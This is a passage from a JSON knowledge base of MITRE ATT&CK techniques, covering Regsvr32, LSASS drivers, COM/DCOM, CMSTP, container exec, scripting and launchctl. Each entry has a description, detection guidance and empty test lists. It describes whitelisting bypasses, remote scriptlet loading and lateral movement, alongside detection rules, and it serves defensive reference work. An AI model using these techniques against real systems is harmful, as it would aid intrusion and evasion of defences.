file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a \"Squiblydoo\" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nRegsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)", - "kill_chain_phases": [ - { - "phase_name": "defense-evasion", - "kill_chain_name": "mitre-attack" - }, - { - "phase_name": "execution", - "kill_chain_name": "mitre-attack" - } - ], - "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)", - "x_mitre_version": "1.2", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Anti-virus", - "Digital Certificate Validation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ] - }, - "atomic_tests": [] - }, - "T1177": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Vincent Le Toux" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1177", - "url": "https://attack.mitre.org/techniques/T1177" - }, - { - "url": "https://technet.microsoft.com/library/cc961760.aspx", - "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.", - "source_name": "Microsoft Security Subsystem" - }, - { - "url": "https://technet.microsoft.com/library/dn408187.aspx", - "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", - "source_name": "Microsoft LSA Protection Mar 2014" - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", - "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", - "source_name": "Microsoft DLL Security" - } - ], - "modified": "2020-01-24T18:50:28.846Z", - "name": "LSASS Driver", - "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1059": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows", - "Network" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", - "created": "2017-05-31T21:30:49.546Z", - "x_mitre_version": "2.3", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1059", - "url": "https://attack.mitre.org/techniques/T1059" - }, - { - "source_name": "Remote Shell Execution in Python", - "url": "https://www.thepythoncode.com/article/executing-bash-commands-remotely-in-python", - "description": "Abdou Rockikz. (2020, July). How to Execute Shell Commands in a Remote Machine in Python. Retrieved July 26, 2021." - }, - { - "source_name": "Cisco IOS Software Integrity Assurance - Command History", - "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#23", - "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020." - }, - { - "source_name": "Powershell Remote Commands", - "url": "https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/running-remote-commands?view=powershell-7.1", - "description": "Microsoft. (2020, August 21). Running Remote Commands. Retrieved July 26, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of [Unix Shell](https://attack.mitre.org/techniques/T1059/004) while Windows installations include the [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nThere are also cross-platform interpreters such as [Python](https://attack.mitre.org/techniques/T1059/006), as well as those commonly associated with client applications such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).\n\nAdversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in [Initial Access](https://attack.mitre.org/tactics/TA0001) payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various [Remote Services](https://attack.mitre.org/techniques/T1021) in order to achieve remote Execution.(Citation: Powershell Remote Commands)(Citation: Cisco IOS Software Integrity Assurance - Command History)(Citation: Remote Shell Execution in Python)", - "modified": "2022-04-19T18:31:48.827Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Command and Scripting Interpreter", - "x_mitre_detection": "Command-line and scripting activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.\n\nIf scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution", - "Script: Script Execution", - "Process: Process Metadata", - "Module: Module Load" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1175": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--772bc7a8-a157-42cc-8728-d648e25c7fe7", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": false, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1175", - "url": "https://attack.mitre.org/techniques/T1175" - }, - { - "source_name": "Fireeye Hunting COM June 2019", - "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html", - "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019." - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", - "description": "Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.", - "source_name": "Microsoft COM" - }, - { - "url": "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1", - "description": "Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.", - "source_name": "Microsoft COM ACL" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", - "description": "Microsoft. (n.d.). Setting Process-Wide Security Through the Registry. Retrieved November 21, 2017.", - "source_name": "Microsoft Process Wide Com Keys" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx", - "description": "Microsoft. (n.d.). Registry Values for System-Wide Security. Retrieved November 21, 2017.", - "source_name": "Microsoft System Wide Com Keys" - }, - { - "url": "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html", - "description": "Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.", - "source_name": "ProjectZero File Write EoP Apr 2018" - }, - { - "url": "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", - "description": "Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.", - "source_name": "Enigma Outlook DCOM Lateral Movement Nov 2017" - }, - { - "url": "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", - "description": "Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.", - "source_name": "Enigma MMC20 COM Jan 2017" - }, - { - "url": "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/", - "description": "Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round 2. Retrieved November 21, 2017.", - "source_name": "Enigma DCOM Lateral Movement Jan 2017" - }, - { - "url": "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/", - "description": "Nelson, M. (2017, September 11). Lateral Movement using Excel.Application and DCOM. Retrieved November 21, 2017.", - "source_name": "Enigma Excel DCOM Sept 2017" - }, - { - "url": "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom", - "description": "Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral movement via DCOM. Retrieved November 21, 2017.", - "source_name": "Cyberreason DCOM DDE Lateral Movement Nov 2017" - } - ], - "modified": "2020-03-30T13:36:10.069Z", - "name": "Component Object Model and Distributed COM", - "description": "**This technique has been deprecated. Please use [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) and [Component Object Model](https://attack.mitre.org/techniques/T1559/001).**\n\nAdversaries may use the Windows Component Object Model (COM) and Distributed Component Object Model (DCOM) for local code execution or to execute on remote systems as part of lateral movement. \n\nCOM is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) DCOM is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL)(Citation: Microsoft Process Wide Com Keys)(Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may abuse COM for local command and/or payload execution. Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and VBScript.(Citation: Microsoft COM) Specific COM objects also exists to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors such as Privilege Escalation and Persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "lateral-movement" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1086), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on.\n\nMonitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.", - "x_mitre_deprecated": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM", - "User" - ], - "x_mitre_remote_support": true - }, - "atomic_tests": [] - }, - "T1609": { - "technique": { - "x_mitre_platforms": [ - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Alfredo Oliveira, Trend Micro", - "David Fiser, @anu4is, Trend Micro", - "Brad Geesaman, @bradgeesaman", - "Center for Threat-Informed Defense (CTID)", - "Magno Logan, @magnologan, Trend Micro", - "Vishwas Manral, McAfee", - "Yossi Weizman, Azure Defender Research Team" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1", - "type": "attack-pattern", - "created": "2021-03-29T16:39:26.183Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1609", - "url": "https://attack.mitre.org/techniques/T1609" - }, - { - "source_name": "Docker Daemon CLI", - "url": "https://docs.docker.com/engine/reference/commandline/dockerd/", - "description": "Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021." - }, - { - "source_name": "Kubernetes API", - "url": "https://kubernetes.io/docs/concepts/overview/kubernetes-api/", - "description": "The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021." - }, - { - "source_name": "Kubernetes Kubelet", - "url": "https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/", - "description": "The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29, 2021." - }, - { - "source_name": "Docker Entrypoint", - "url": "https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime", - "description": "Docker. (n.d.). Docker run reference. Retrieved March 29, 2021." - }, - { - "source_name": "Docker Exec", - "url": "https://docs.docker.com/engine/reference/commandline/exec/", - "description": "Docker. (n.d.). Docker Exec. Retrieved March 29, 2021." - }, - { - "source_name": "Kubectl Exec Get Shell", - "url": "https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/", - "description": "The Kubernetes Authors. (n.d.). Get a Shell to a Running Container. Retrieved March 29, 2021." - } - ], - "modified": "2022-04-01T13:16:14.786Z", - "name": "Kubernetes Exec Into Container", - "description": "Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)\n\nIn Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as docker exec to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as kubectl exec.(Citation: Kubectl Exec Get Shell)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Container administration service activities and executed commands can be captured through logging of process execution with command-line arguments on the container and the underlying host. In Docker, the daemon log provides insight into events at the daemon and container service level. Kubernetes system component logs may also detect activities running in and out of containers in the cluster. ", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_remote_support": true, - "identifier": "T1609" - }, - "atomic_tests": [] - }, - "T1191": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank", - "Nik Seetharaman, Palantir" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3", - "type": "attack-pattern", - "created": "2018-04-18T17:59:24.739Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1191", - "url": "https://attack.mitre.org/techniques/T1191" - }, - { - "url": "https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2003/cc786431(v=ws.10)", - "description": "Microsoft. (2009, October 8). How Connection Manager Works. Retrieved April 11, 2018.", - "source_name": "Microsoft Connection Manager Oct 2009" - }, - { - "source_name": "Twitter CMSTP Usage Jan 2018", - "description": "Carr, N. (2018, January 31). Here is some early bad cmstp.exe... Retrieved April 11, 2018.", - "url": "https://twitter.com/ItsReallyNick/status/958789644165894146" - }, - { - "url": "https://msitpros.com/?p=3960", - "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.", - "source_name": "MSitPros CMSTP Aug 2017" - }, - { - "url": "https://twitter.com/NickTyrer/status/958450014111633408", - "description": "Tyrer, N. (2018, January 30). CMSTP.exe - remote .sct execution applocker bypass. Retrieved April 11, 2018.", - "source_name": "Twitter CMSTP Jan 2018" - }, - { - "url": "https://github.com/api0cradle/UltimateAppLockerByPassList", - "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", - "source_name": "GitHub Ultimate AppLocker Bypass List" - }, - { - "source_name": "Endurant CMSTP July 2018", - "description": "Seetharaman, N. (2018, July 7). Detecting CMSTP-Enabled Code Execution and UAC Bypass With Sysmon.. Retrieved August 6, 2018.", - "url": "http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/" - } - ], - "modified": "2020-01-31T18:58:17.078Z", - "name": "CMSTP", - "description": "The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009) CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.\n\nAdversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to [Regsvr32](https://attack.mitre.org/techniques/T1117) / \u201dSquiblydoo\u201d, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.\n\nCMSTP.exe can also be abused to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List) (Citation: Endurant CMSTP July 2018)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Use process monitoring to detect and analyze the execution and arguments of CMSTP.exe. Compare recent invocations of CMSTP.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity.\n\nSysmon events can also be used to identify potential abuses of CMSTP.exe. Detection strategy may depend on the specific adversary procedure, but potential rules include: (Citation: Endurant CMSTP July 2018)\n\n* To detect loading and execution of local/remote payloads - Event 1 (Process creation) where ParentImage contains CMSTP.exe and/or Event 3 (Network connection) where Image contains CMSTP.exe and DestinationIP is external.\n* To detect [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) via an auto-elevated COM interface - Event 10 (ProcessAccess) where CallTrace contains CMLUA.dll and/or Event 12 or 13 (RegistryEvent) where TargetObject contains CMMGR32.exe. Also monitor for events, such as the creation of processes (Sysmon Event 1), that involve auto-elevated CMSTP COM interfaces such as CMSTPLUA (3E5FC7F9-9A51-4367-9063-A120244FBEC7) and CMLUAUTIL (3E000D72-A845-4CD9-BD83-80C07C3B881F).", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Application whitelisting", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1064": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", - "type": "attack-pattern", - "created": "2017-05-31T21:30:51.733Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": false, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1064", - "url": "https://attack.mitre.org/techniques/T1064" - }, - { - "source_name": "Metasploit_Ref", - "description": "Metasploit. (n.d.). Retrieved December 4, 2014.", - "url": "http://www.metasploit.com" - }, - { - "url": "https://www.veil-framework.com/framework/", - "description": "Veil Framework. (n.d.). Retrieved December 4, 2014.", - "source_name": "Veil_Ref" - }, - { - "url": "https://github.com/mattifestation/PowerSploit", - "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", - "source_name": "Powersploit" - }, - { - "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", - "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", - "source_name": "Alperovitch 2014" - }, - { - "url": "https://www.uperesia.com/analyzing-malicious-office-documents", - "description": "Felix. (2016, September). Analyzing Malicious Office Documents. Retrieved April 11, 2018.", - "source_name": "Uperesia Malicious Office Documents" - } - ], - "modified": "2020-03-30T13:39:24.852Z", - "name": "Scripting", - "description": "**This technique has been deprecated. Please use [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) where appropriate.**\n\nAdversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)", - "x_mitre_deprecated": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Process whitelisting", - "Data Execution Prevention", - "Exploit Prevention" - ], - "x_mitre_permissions_required": [ - "User" - ] - }, - "atomic_tests": [] - }, - "T1569.001": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", - "type": "attack-pattern", - "created": "2020-03-10T18:26:56.187Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1569.001", - "url": "https://attack.mitre.org/techniques/T1569/001" - }, - { - "source_name": "Launchctl Man", - "url": "https://ss64.com/osx/launchctl.html", - "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020." - }, - { - "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", - "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", - "source_name": "Sofacy Komplex Trojan" - }, - { - "source_name": "20 macOS Common Tools and Techniques", - "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", - "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021." - } - ], - "modified": "2021-10-15T18:40:23.141Z", - "name": "System Services: Launchctl", - "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - } - ], - "x_mitre_detection": "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \n\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": 